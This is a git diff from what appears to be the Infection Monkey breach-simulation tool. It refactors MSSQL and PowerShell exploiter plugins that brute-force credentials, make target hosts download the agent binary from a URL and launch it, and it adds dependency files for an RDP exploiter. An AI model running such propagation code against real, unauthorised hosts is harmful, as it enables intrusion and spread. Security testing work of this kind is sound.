a/monkey/agent_plugins/exploiters/mssql/src/mssql_exploiter.py b/monkey/agent_plugins/exploiters/mssql/src/mssql_exploiter.py index e877f0818b5..f4c53dcc1d5 100644 --- a/monkey/agent_plugins/exploiters/mssql/src/mssql_exploiter.py +++ b/monkey/agent_plugins/exploiters/mssql/src/mssql_exploiter.py @@ -1,12 +1,16 @@ import logging -from typing import Callable, Iterable, Sequence, Set +from typing import Iterable, Sequence, Set from common.credentials import Credentials from common.types import AgentID, Event, NetworkPort -from infection_monkey.exploit import IAgentOTPProvider -from infection_monkey.exploit.tools import HTTPBytesServer +from infection_monkey.exploit import ( + IAgentOTPProvider, + IHTTPAgentBinaryServerRegistrar, + ReservationID, + use_agent_binary, +) from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.utils.threading import interruptible_iter from .mssql_client import MSSQLClient @@ -18,20 +22,18 @@ logger = logging.getLogger(__name__) -AgentBinaryServerFactory = Callable[[TargetHost], HTTPBytesServer] - class MSSQLExploiter: def __init__( self, agent_id: AgentID, mssql_exploit_client: MSSQLClient, - start_agent_binary_server: AgentBinaryServerFactory, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, otp_provider: IAgentOTPProvider, ): self._agent_id = agent_id self._mssql_exploit_client = mssql_exploit_client - self._start_agent_binary_server = start_agent_binary_server + self._http_agent_binary_server_registrar = http_agent_binary_server_registrar self._otp_provider = otp_provider def exploit_host( @@ -43,24 +45,27 @@ def exploit_host( brute_force_credentials: Sequence[Credentials], ports_to_try: Set[NetworkPort], interrupt: Event, - ) -> ExploiterResultData: + ) -> ExploiterResult: logger.info(f"Starting MSSQL exploiter for host: {target_host.ip}") + agent_destination_path = get_agent_dst_path(target_host) try: - logger.debug("Starting the Agent binary server") - - agent_binary_http_server = self._start_agent_binary_server(target_host) + logger.debug("Registering a request for an Agent binary") + download_ticket = self._http_agent_binary_server_registrar.reserve_download( + target_host.operating_system, + target_host.ip, + use_agent_binary, + ) except Exception as err: msg = ( - "An unexpected exception occurred while attempting to start the agent binary HTTP " - f"server: {err}" + "An unexpected exception occurred while attempting to register a request " + f"for an agent binary: {err} " ) logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) - agent_destination_path = get_agent_dst_path(target_host) download_agent_command = build_mssql_agent_download_command( - agent_binary_http_server.download_url, agent_destination_path + download_ticket.download_url, agent_destination_path ) launch_agent_command = build_mssql_agent_launch_command( @@ -74,7 +79,7 @@ def exploit_host( brute_force_credentials, download_agent_command, launch_agent_command, - agent_binary_http_server.bytes_downloaded, + download_ticket.download_completed, ports_to_try, interrupt, ) @@ -84,11 +89,13 @@ def exploit_host( f"exploiting host {target_host} with MSSQL: {err}" ) logger.exception(msg) - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) finally: - _stop_agent_binary_http_server(agent_binary_http_server) + _clear_agent_binary_reservation( + download_ticket.id, self._http_agent_binary_server_registrar + ) def _brute_force_exploit_host( self, @@ -101,7 +108,7 @@ def _brute_force_exploit_host( ports_to_try: Iterable[NetworkPort], interrupt: Event, ): - exploit_result = ExploiterResultData(exploitation_success=False, propagation_success=False) + exploit_result = ExploiterResult(exploitation_success=False, propagation_success=False) for propagation_credentials in interruptible_iter( brute_force_credentials_combinations, interrupt, "MSSQL exploiter has been interrupted" @@ -125,9 +132,12 @@ def _brute_force_exploit_host( return exploit_result -def _stop_agent_binary_http_server(agent_binary_http_server: HTTPBytesServer): +def _clear_agent_binary_reservation( + reservation_id: ReservationID, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, +): try: - logger.debug("Stopping the agent binary server") - agent_binary_http_server.stop() + logger.debug(f"Deregister agent binary request with id: {reservation_id}") + http_agent_binary_server_registrar.clear_reservation(reservation_id) except Exception: - logger.exception("An unexpected error occurred while stopping the HTTP server") + logger.exception("An unexpected error occurred while deregistering agent binary request") diff --git a/monkey/agent_plugins/exploiters/mssql/src/plugin.py b/monkey/agent_plugins/exploiters/mssql/src/plugin.py index 30c1f38d6ba..e62d915ec57 100644 --- a/monkey/agent_plugins/exploiters/mssql/src/plugin.py +++ b/monkey/agent_plugins/exploiters/mssql/src/plugin.py @@ -1,5 +1,4 @@ import logging -from functools import partial from pprint import pformat from typing import Any, Dict, Sequence, Set @@ -10,14 +9,17 @@ from common.utils.code_utils import del_key # dependencies to get rid of or internalize -from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider +from infection_monkey.exploit import ( + IAgentBinaryRepository, + IAgentOTPProvider, + IHTTPAgentBinaryServerRegistrar, +) from infection_monkey.exploit.tools import ( generate_brute_force_credentials, identity_type_filter, secret_type_filter, ) -from infection_monkey.exploit.tools.http_agent_binary_server import start_agent_binary_server -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.network import TCPPortSelector from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository @@ -35,6 +37,7 @@ def __init__( *, plugin_name: str, agent_id: AgentID, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, agent_event_publisher: IAgentEventPublisher, agent_binary_repository: IAgentBinaryRepository, propagation_credentials_repository: IPropagationCredentialsRepository, @@ -44,6 +47,7 @@ def __init__( ): self._plugin_name = plugin_name self._agent_id = agent_id + self._http_agent_binary_server_registrar = http_agent_binary_server_registrar self._agent_event_publisher = agent_event_publisher self._agent_binary_repository = agent_binary_repository self._propagation_credentials_repository = propagation_credentials_repository @@ -59,7 +63,7 @@ def run( options: Dict[str, Any], interrupt: Event, **kwargs, - ) -> ExploiterResultData: + ) -> ExploiterResult: # HTTP ports options are hack because they are needed in fingerprinters del_key(options, "http_ports") @@ -69,13 +73,13 @@ def run( except Exception as err: msg = f"Failed to parse MSSQL options: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) ports_to_try = get_ports_to_try(host, mssql_options) if not ports_to_try: msg = f"Host {host.ip} has no open MSSQL ports" logger.debug(msg) - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) @@ -86,12 +90,6 @@ def run( identity_filter=identity_type_filter([Username]), secret_filter=secret_type_filter([Password]), ) - agent_binary_server_factory = partial( - start_agent_binary_server, - agent_binary_repository=self._agent_binary_repository, - tcp_port_selector=self._tcp_port_selector, - ) - mssql_client = MSSQLClient(mssql_options.server_timeout) mssql_exploit_client = MSSQLExploitClient( @@ -104,7 +102,7 @@ def run( mssql_exploiter = MSSQLExploiter( self._agent_id, mssql_exploit_client, - agent_binary_server_factory, + self._http_agent_binary_server_registrar, self._otp_provider, ) return mssql_exploiter.exploit_host( @@ -119,7 +117,7 @@ def run( except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) def get_ports_to_try(host: TargetHost, options: MSSQLOptions) -> Set[NetworkPort]: diff --git a/monkey/agent_plugins/exploiters/powershell/manifest.yaml b/monkey/agent_plugins/exploiters/powershell/manifest.yaml index c99a4e4f4bc..ad001cb94ca 100644 --- a/monkey/agent_plugins/exploiters/powershell/manifest.yaml +++ b/monkey/agent_plugins/exploiters/powershell/manifest.yaml @@ -6,7 +6,7 @@ supported_operating_systems: target_operating_systems: - windows title: PowerShell Exploiter -version: 1.0.0 +version: 1.0.2 description: >- Exploits PowerShell remote execution setups. PowerShell Remoting uses Windows Remote Management (WinRM) to allow users to run PowerShell commands diff --git a/monkey/agent_plugins/exploiters/powershell/src/plugin.py b/monkey/agent_plugins/exploiters/powershell/src/plugin.py index 7cc1bab9f06..711d55919f4 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/plugin.py +++ b/monkey/agent_plugins/exploiters/powershell/src/plugin.py @@ -18,7 +18,7 @@ all_tcp_ports_are_closed, ) from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from .credentials_generator import generate_powershell_credentials @@ -69,7 +69,7 @@ def run( options: Dict[str, Any], interrupt: Event, **kwargs, - ) -> ExploiterResultData: + ) -> ExploiterResult: # HTTP ports options are hack because they are needed in fingerprinters del_key(options, "http_ports") @@ -79,12 +79,12 @@ def run( except Exception as err: msg = f"Failed to parse PowerShell options: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) if not should_attempt_exploit(host): msg = f"Host {host.ip} has no open PowerShell remoting ports" logger.debug(msg) - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) @@ -116,4 +116,4 @@ def run( except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_command_builder.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_command_builder.py index bbb71eeff0d..63ca7e8bc5e 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_command_builder.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_command_builder.py @@ -1,7 +1,6 @@ from pathlib import PurePath from typing import Sequence -from common import OperatingSystem from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.types import AgentID from infection_monkey.exploit import IAgentOTPProvider @@ -13,13 +12,9 @@ def build_powershell_command( agent_id: AgentID, servers: Sequence[str], current_depth: int, - operating_system: OperatingSystem, remote_agent_binary_destination_path: PurePath, otp_provider: IAgentOTPProvider, ): - if operating_system != OperatingSystem.WINDOWS: - raise Exception(f"Unsupported operating system: {operating_system}") - set_agent_otp_command = SET_OTP_WINDOWS % { "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, "agent_otp": otp_provider.get_otp(), diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py index 123f07f279a..676f863806a 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py @@ -3,6 +3,7 @@ from typing import Callable, Collection, Set, Type from common import OperatingSystem +from common.agent_events import AgentEventTag from common.credentials import Credentials from common.tags import ( BRUTE_FORCE_T1110_TAG, @@ -45,7 +46,7 @@ def __init__( self, host: TargetHost, options: PowerShellOptions, - command_builder: Callable[[OperatingSystem, PurePath], str], + command_builder: Callable[[PurePath], str], powershell_client: PowerShellClient, ): self._host = host @@ -53,7 +54,7 @@ def __init__( self._command_builder = command_builder self._powershell_client = powershell_client - def login(self, credentials: Credentials, tags: Set[str]): + def login(self, credentials: Credentials, tags: Set[AgentEventTag]): tags.update(LOGIN_TAGS) try: @@ -74,18 +75,18 @@ def _raise_if_not_authenticated(self, error_type: Type[Exception]): def get_os(self) -> OperatingSystem: return OperatingSystem.WINDOWS - def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): + def execute_agent(self, agent_binary_path: PurePath, tags: Set[AgentEventTag]): self._raise_if_not_authenticated(RemoteCommandExecutionError) try: tags.update(EXECUTION_TAGS) self._powershell_client.execute_cmd_as_detached_process( - self._command_builder(self.get_os(), agent_binary_path) + self._command_builder(agent_binary_path) ) except Exception as err: raise RemoteCommandExecutionError(err) - def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): + def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[AgentEventTag]): self._raise_if_not_authenticated(RemoteFileCopyError) temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}") diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client_factory.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client_factory.py index 96bc4ec7784..1f332a93a5f 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client_factory.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client_factory.py @@ -1,7 +1,6 @@ from pathlib import PurePath from typing import Any, Callable -from common import OperatingSystem from infection_monkey.exploit.tools import IRemoteAccessClientFactory from infection_monkey.i_puppet import TargetHost @@ -15,7 +14,7 @@ def __init__( self, host: TargetHost, options: PowerShellOptions, - command_builder: Callable[[OperatingSystem, PurePath], str], + command_builder: Callable[[PurePath], str], ): self._host = host self._options = options diff --git a/monkey/agent_plugins/exploiters/rdp/Pipfile b/monkey/agent_plugins/exploiters/rdp/Pipfile new file mode 100644 index 00000000000..8b09cbc6ad5 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/Pipfile @@ -0,0 +1,14 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +aardwolf = {git = "https://github.com/cakekoa/aardwolf.git", ref = "clipboard-file-copy"} +egg_timer = "*" +pywin32 = {version = "*", sys_platform = "== 'win32'"} + +[dev-packages] + +[requires] +python_version = "3.11" diff --git a/monkey/agent_plugins/exploiters/rdp/Pipfile.lock b/monkey/agent_plugins/exploiters/rdp/Pipfile.lock new file mode 100644 index 00000000000..4dc332e6af3 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/Pipfile.lock @@ -0,0 +1,279 @@ +{ + "_meta": { + "hash": { + "sha256": "3dcd71abbb257021700d242c9a32d6fa5881c31092034cc91a40580d84a395a2" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.11" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "aardwolf": { + "git": "https://github.com/cakekoa/aardwolf.git", + "ref": "03b15d9f1fe392072e0a80e6a42d5f500ac4c8bc" + }, + "arc4": { + "hashes": [ + "sha256:15603d81bbb990038dfe7f7a424d16549161b2d5c1e216097cb065023895f398", + "sha256:19d130ec333d9be891b156c02a4436b002ac486bc072644a453fabdfbe0354f8", + "sha256:2104d551744e9b851a12c144b512244da224ab4f5f68ed28a45a599937ead1cd", + "sha256:24d5aaf57494219651e15e260c4d3747c99764b94ea6fc46b09031c3ed2ef9d3", + "sha256:3cdae371789b621927866a1b10862ea20dbe519b1b86cb725ff2dd95525c704f", + "sha256:3da0dd7b6dd38c71af105aebef42bf587a624a0b26231717f1dcc53f36ab14d6", + "sha256:45aba6a58fd8d83ec8fa14d8e99f686f9317667c19adca56c5eaa59aae630b3d", + "sha256:516e4fb4543e2a7c958b6fffb7658ba905b25b30af387b54c872418d87192fe6", + "sha256:5e2e52410c5dde5cd7a89eb32440ad94de99b6bb2d6c886a099455b71f68dee3", + "sha256:62ed00203dee645d99422a1dc1efdd5ca108048e8c047a239c3be0a690f6abb6", + "sha256:779d1b53c75e66edd023b9240dbd00df7b241ab50b6a4ea86ab97117dbbff86f", + "sha256:8e5137eeb8f4c6f0c3bd23731c58359d554722b08119156058c99c337e78adb0", + "sha256:9954ee25a0687b1076791ae92cacb20c152fad2bf5bdac608f4c9472d76e83f0", + "sha256:9b9d14ed487f373c0d47b97262a3f26d6f03e725d640c4c230a51f5f3dd8a6b4", + "sha256:b1c72ceaff1b366d25ca5945ed381a520a8116195b7a4b0a69aaccac3f00d7ae", + "sha256:b935c41b8691001b6a6746c2611a0a76962720a83688501dac8f3c74f9db4f34", + "sha256:be661d59b250e83753fd0aa7dfb0796f1475c19be929d581805e1a1c998fb959", + "sha256:c0b9adcf7ab7ef7ca0ab60cf7e2dd8886fbc6610471ea9a8c7fb34416265451c", + "sha256:cd9c4fc470019e184f72aacc5fdcb2a3364e7c174aaa6de2486ca18e9d377a5d", + "sha256:d27d6cb7fef8787c3cb91c06a6adb2315551f42af3b4142d45703d5303e6ad2b", + "sha256:d431b53d11b24d62521dbbd06d755bf9d6d11a03cc7bbbdf37a13a12ee0747b6", + "sha256:e284d731da57f3c036c2497db47baf198057777f71670fe84d84347615df3e9f", + "sha256:eb5eb33e3c68d68c548355aead25843502d3d1b909fa2e3b3f2520d467708af5", + "sha256:f20540dd6ab695e6d1205a5edb4df416688ef39242cbbec4ad0b534e38ffe55f", + "sha256:f419c08cfb2cc8f374725a76dd8fd40d87b6a0e236774cb3307f2f51f6794c1f" + ], + "version": "==0.4.0" + }, + "asn1crypto": { + "hashes": [ + "sha256:13ae38502be632115abf8a24cbe5f4da52e3b5231990aff31123c805306ccb9c", + "sha256:db4e40728b728508912cbb3d44f19ce188f218e9eba635821bb4b68564f8fd67" + ], + "version": "==1.5.1" + }, + "asn1tools": { + "hashes": [ + "sha256:f6bad80c9d465ba6440cb8b61a2dcd97f91580a4ba1ff33dcd2054dd507d2ac3" + ], + "version": "==0.166.0" + }, + "asyauth": { + "hashes": [ + "sha256:1092ee4af909ad0048ad233f74e0e14edc0fa67cfaee59a0e191302384cf3957", + "sha256:494a987f7fe245ce92c376ebd1785a7d758a875a53e33521dbb0ceae6de76b75" + ], + "markers": "python_version >= '3.7'", + "version": "==0.0.14" + }, + "asysocks": { + "hashes": [ + "sha256:03720eae5e0577a15d1738ac58f5f84e86a52a00c0790b2057b6141b422d98a9", + "sha256:29fd8a0e89e36feb7bb00e239c2f264e1edf5a81037d13e10e48206fd0391344" + ], + "markers": "python_version >= '3.6'", + "version": "==0.2.7" + }, + "bitstruct": { + "hashes": [ + "sha256:eb94b40e4218a23aa8f90406b836a9e6ed83e48b8d112ce3f96408463bd1b874" + ], + "version": "==8.17.0" + }, + "colorama": { + "hashes": [ + "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", + "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5, 3.6'", + "version": "==0.4.6" + }, + "egg-timer": { + "hashes": [ + "sha256:8e4155914ceb82c8b7248a0fdcdd0268fa841db5fd8666629dabed7fb937ab76", + "sha256:e476d57cca2ae85d502279ca0b8e84d1b47e241a56b888e18c944d780baf48db" + ], + "index": "pypi", + "version": "==1.2.0" + }, + "minikerberos": { + "hashes": [ + "sha256:5a01fe5507cf7bffd7d374a85f00bcd7b182325079670dfbc3d3a5e7c379c952", + "sha256:9c44dfb37c24467f33ba6c5bd45ebc31319ea969c859a35448f26a5f35b5c05a" + ], + "markers": "python_version >= '3.6'", + "version": "==0.4.1" + }, + "oscrypto": { + "hashes": [ + "sha256:2b2f1d2d42ec152ca90ccb5682f3e051fb55986e1b170ebde472b133713e7085", + "sha256:6f5fef59cb5b3708321db7cca56aed8ad7e662853351e7991fcf60ec606d47a4" + ], + "version": "==1.3.0" + }, + "pillow": { + "hashes": [ + "sha256:00e65f5e822decd501e374b0650146063fbb30a7264b4d2744bdd7b913e0cab5", + "sha256:040586f7d37b34547153fa383f7f9aed68b738992380ac911447bb78f2abe530", + "sha256:0b6eb5502f45a60a3f411c63187db83a3d3107887ad0d036c13ce836f8a36f1d", + "sha256:1ce91b6ec08d866b14413d3f0bbdea7e24dfdc8e59f562bb77bc3fe60b6144ca", + "sha256:1f62406a884ae75fb2f818694469519fb685cc7eaff05d3451a9ebe55c646891", + "sha256:22c10cc517668d44b211717fd9775799ccec4124b9a7f7b3635fc5386e584992", + "sha256:3400aae60685b06bb96f99a21e1ada7bc7a413d5f49bce739828ecd9391bb8f7", + "sha256:349930d6e9c685c089284b013478d6f76e3a534e36ddfa912cde493f235372f3", + "sha256:368ab3dfb5f49e312231b6f27b8820c823652b7cd29cfbd34090565a015e99ba", + "sha256:38250a349b6b390ee6047a62c086d3817ac69022c127f8a5dc058c31ccef17f3", + "sha256:3a684105f7c32488f7153905a4e3015a3b6c7182e106fe3c37fbb5ef3e6994c3", + "sha256:3a82c40d706d9aa9734289740ce26460a11aeec2d9c79b7af87bb35f0073c12f", + "sha256:3b08d4cc24f471b2c8ca24ec060abf4bebc6b144cb89cba638c720546b1cf538", + "sha256:3ed64f9ca2f0a95411e88a4efbd7a29e5ce2cea36072c53dd9d26d9c76f753b3", + "sha256:3f07ea8d2f827d7d2a49ecf1639ec02d75ffd1b88dcc5b3a61bbb37a8759ad8d", + "sha256:520f2a520dc040512699f20fa1c363eed506e94248d71f85412b625026f6142c", + "sha256:5c6e3df6bdd396749bafd45314871b3d0af81ff935b2d188385e970052091017", + "sha256:608bfdee0d57cf297d32bcbb3c728dc1da0907519d1784962c5f0c68bb93e5a3", + "sha256:685ac03cc4ed5ebc15ad5c23bc555d68a87777586d970c2c3e216619a5476223", + "sha256:76de421f9c326da8f43d690110f0e79fe3ad1e54be811545d7d91898b4c8493e", + "sha256:76edb0a1fa2b4745fb0c99fb9fb98f8b180a1bbceb8be49b087e0b21867e77d3", + "sha256:7be600823e4c8631b74e4a0d38384c73f680e6105a7d3c6824fcf226c178c7e6", + "sha256:81ff539a12457809666fef6624684c008e00ff6bf455b4b89fd00a140eecd640", + "sha256:88af2003543cc40c80f6fca01411892ec52b11021b3dc22ec3bc9d5afd1c5334", + "sha256:8c11160913e3dd06c8ffdb5f233a4f254cb449f4dfc0f8f4549eda9e542c93d1", + "sha256:8f8182b523b2289f7c415f589118228d30ac8c355baa2f3194ced084dac2dbba", + "sha256:9211e7ad69d7c9401cfc0e23d49b69ca65ddd898976d660a2fa5904e3d7a9baa", + "sha256:92be919bbc9f7d09f7ae343c38f5bb21c973d2576c1d45600fce4b74bafa7ac0", + "sha256:9c82b5b3e043c7af0d95792d0d20ccf68f61a1fec6b3530e718b688422727396", + "sha256:9f7c16705f44e0504a3a2a14197c1f0b32a95731d251777dcb060aa83022cb2d", + "sha256:9fb218c8a12e51d7ead2a7c9e101a04982237d4855716af2e9499306728fb485", + "sha256:a74ba0c356aaa3bb8e3eb79606a87669e7ec6444be352870623025d75a14a2bf", + "sha256:b4f69b3700201b80bb82c3a97d5e9254084f6dd5fb5b16fc1a7b974260f89f43", + "sha256:bc2ec7c7b5d66b8ec9ce9f720dbb5fa4bace0f545acd34870eff4a369b44bf37", + "sha256:c189af0545965fa8d3b9613cfdb0cd37f9d71349e0f7750e1fd704648d475ed2", + "sha256:c1fbe7621c167ecaa38ad29643d77a9ce7311583761abf7836e1510c580bf3dd", + "sha256:c7cf14a27b0d6adfaebb3ae4153f1e516df54e47e42dcc073d7b3d76111a8d86", + "sha256:c9f72a021fbb792ce98306ffb0c348b3c9cb967dce0f12a49aa4c3d3fdefa967", + "sha256:cd25d2a9d2b36fcb318882481367956d2cf91329f6892fe5d385c346c0649629", + "sha256:ce543ed15570eedbb85df19b0a1a7314a9c8141a36ce089c0a894adbfccb4568", + "sha256:ce7b031a6fc11365970e6a5686d7ba8c63e4c1cf1ea143811acbb524295eabed", + "sha256:d35e3c8d9b1268cbf5d3670285feb3528f6680420eafe35cccc686b73c1e330f", + "sha256:d50b6aec14bc737742ca96e85d6d0a5f9bfbded018264b3b70ff9d8c33485551", + "sha256:d5d0dae4cfd56969d23d94dc8e89fb6a217be461c69090768227beb8ed28c0a3", + "sha256:d5db32e2a6ccbb3d34d87c87b432959e0db29755727afb37290e10f6e8e62614", + "sha256:d72e2ecc68a942e8cf9739619b7f408cc7b272b279b56b2c83c6123fcfa5cdff", + "sha256:d737a602fbd82afd892ca746392401b634e278cb65d55c4b7a8f48e9ef8d008d", + "sha256:d80cf684b541685fccdd84c485b31ce73fc5c9b5d7523bf1394ce134a60c6883", + "sha256:db24668940f82321e746773a4bc617bfac06ec831e5c88b643f91f122a785684", + "sha256:dbc02381779d412145331789b40cc7b11fdf449e5d94f6bc0b080db0a56ea3f0", + "sha256:dffe31a7f47b603318c609f378ebcd57f1554a3a6a8effbc59c3c69f804296de", + "sha256:edf4392b77bdc81f36e92d3a07a5cd072f90253197f4a52a55a8cec48a12483b", + "sha256:efe8c0681042536e0d06c11f48cebe759707c9e9abf880ee213541c5b46c5bf3", + "sha256:f31f9fdbfecb042d046f9d91270a0ba28368a723302786c0009ee9b9f1f60199", + "sha256:f88a0b92277de8e3ca715a0d79d68dc82807457dae3ab8699c758f07c20b3c51", + "sha256:faaf07ea35355b01a35cb442dd950d8f1bb5b040a7787791a535de13db15ed90" + ], + "markers": "python_version >= '3.8'", + "version": "==10.0.0" + }, + "pycryptodomex": { + "hashes": [ + "sha256:160a39a708c36fa0b168ab79386dede588e62aec06eb505add870739329aecc6", + "sha256:192306cf881fe3467dda0e174a4f47bb3a8bb24b90c9cdfbdc248eec5fc0578c", + "sha256:1949e09ea49b09c36d11a951b16ff2a05a0ffe969dda1846e4686ee342fe8646", + "sha256:215be2980a6b70704c10796dd7003eb4390e7be138ac6fb8344bf47e71a8d470", + "sha256:27072a494ce621cc7a9096bbf60ed66826bb94db24b49b7359509e7951033e74", + "sha256:2dc4eab20f4f04a2d00220fdc9258717b82d31913552e766d5f00282c031b70a", + "sha256:302a8f37c224e7b5d72017d462a2be058e28f7be627bdd854066e16722d0fc0c", + "sha256:3d9314ac785a5b75d5aaf924c5f21d6ca7e8df442e5cf4f0fefad4f6e284d422", + "sha256:3e3ecb5fe979e7c1bb0027e518340acf7ee60415d79295e5251d13c68dde576e", + "sha256:4d9379c684efea80fdab02a3eb0169372bca7db13f9332cb67483b8dc8b67c37", + "sha256:50308fcdbf8345e5ec224a5502b4215178bdb5e95456ead8ab1a69ffd94779cb", + "sha256:5594a125dae30d60e94f37797fc67ce3c744522de7992c7c360d02fdb34918f8", + "sha256:58fc0aceb9c961b9897facec9da24c6a94c5db04597ec832060f53d4d6a07196", + "sha256:6421d23d6a648e83ba2670a352bcd978542dad86829209f59d17a3f087f4afef", + "sha256:6875eb8666f68ddbd39097867325bd22771f595b4e2b0149739b5623c8bf899b", + "sha256:6ed3606832987018615f68e8ed716a7065c09a0fe94afd7c9ca1b6777f0ac6eb", + "sha256:71687eed47df7e965f6e0bf3cadef98f368d5221f0fb89d2132effe1a3e6a194", + "sha256:73d64b32d84cf48d9ec62106aa277dbe99ab5fbfd38c5100bc7bddd3beb569f7", + "sha256:75672205148bdea34669173366df005dbd52be05115e919551ee97171083423d", + "sha256:76f0a46bee539dae4b3dfe37216f678769349576b0080fdbe431d19a02da42ff", + "sha256:8ff129a5a0eb5ff16e45ca4fa70a6051da7f3de303c33b259063c19be0c43d35", + "sha256:ac614363a86cc53d8ba44b6c469831d1555947e69ab3276ae8d6edc219f570f7", + "sha256:ba95abd563b0d1b88401658665a260852a8e6c647026ee6a0a65589287681df8", + "sha256:bbdcce0a226d9205560a5936b05208c709b01d493ed8307792075dedfaaffa5f", + "sha256:bec6c80994d4e7a38312072f89458903b65ec99bed2d65aa4de96d997a53ea7a", + "sha256:c2953afebf282a444c51bf4effe751706b4d0d63d7ca2cc51db21f902aa5b84e", + "sha256:d35a8ffdc8b05e4b353ba281217c8437f02c57d7233363824e9d794cf753c419", + "sha256:d56c9ec41258fd3734db9f5e4d2faeabe48644ba9ca23b18e1839b3bdf093222", + "sha256:d84e105787f5e5d36ec6a581ff37a1048d12e638688074b2a00bcf402f9aa1c2", + "sha256:e00a4bacb83a2627e8210cb353a2e31f04befc1155db2976e5e239dd66482278", + "sha256:f237278836dda412a325e9340ba2e6a84cb0f56b9244781e5b61f10b3905de88", + "sha256:f9ab5ef0718f6a8716695dea16d83b671b22c45e9c0c78fd807c32c0192e54b5" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==3.18.0" + }, + "pyparsing": { + "hashes": [ + "sha256:32c7c0b711493c72ff18a981d24f28aaf9c1fb7ed5e9667c9e84e3db623bdbfb", + "sha256:ede28a1a32462f5a9705e07aea48001a08f7cf81a021585011deba701581a0db" + ], + "markers": "python_full_version >= '3.6.8'", + "version": "==3.1.1" + }, + "pyperclip": { + "hashes": [ + "sha256:105254a8b04934f0bc84e9c24eb360a591aaf6535c9def5f29d92af107a9bf57" + ], + "version": "==1.8.2" + }, + "pywin32": { + "hashes": [ + "sha256:06d3420a5155ba65f0b72f2699b5bacf3109f36acbe8923765c22938a69dfc8d", + "sha256:1c73ea9a0d2283d889001998059f5eaaba3b6238f767c9cf2833b13e6a685f65", + "sha256:37257794c1ad39ee9be652da0462dc2e394c8159dfd913a8a4e8eb6fd346da0e", + "sha256:383229d515657f4e3ed1343da8be101000562bf514591ff383ae940cad65458b", + "sha256:39b61c15272833b5c329a2989999dcae836b1eed650252ab1b7bfbe1d59f30f4", + "sha256:5821ec52f6d321aa59e2db7e0a35b997de60c201943557d108af9d4ae1ec7040", + "sha256:70dba0c913d19f942a2db25217d9a1b726c278f483a919f1abfed79c9cf64d3a", + "sha256:72c5f621542d7bdd4fdb716227be0dd3f8565c11b280be6315b06ace35487d36", + "sha256:84f4471dbca1887ea3803d8848a1616429ac94a4a8d05f4bc9c5dcfd42ca99c8", + "sha256:a7639f51c184c0272e93f244eb24dafca9b1855707d94c192d4a0b4c01e1100e", + "sha256:e25fd5b485b55ac9c057f67d94bc203f3f6595078d1fb3b458c9c28b7153a802", + "sha256:e4c092e2589b5cf0d365849e73e02c391c1349958c5ac3e9d5ccb9a28e017b3a", + "sha256:e65028133d15b64d2ed8f06dd9fbc268352478d4f9289e69c190ecd6818b6407", + "sha256:e8ac1ae3601bee6ca9f7cb4b5363bf1c0badb935ef243c4733ff9a393b1690c0" + ], + "index": "pypi", + "markers": "sys_platform == 'win32'", + "version": "==306" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + 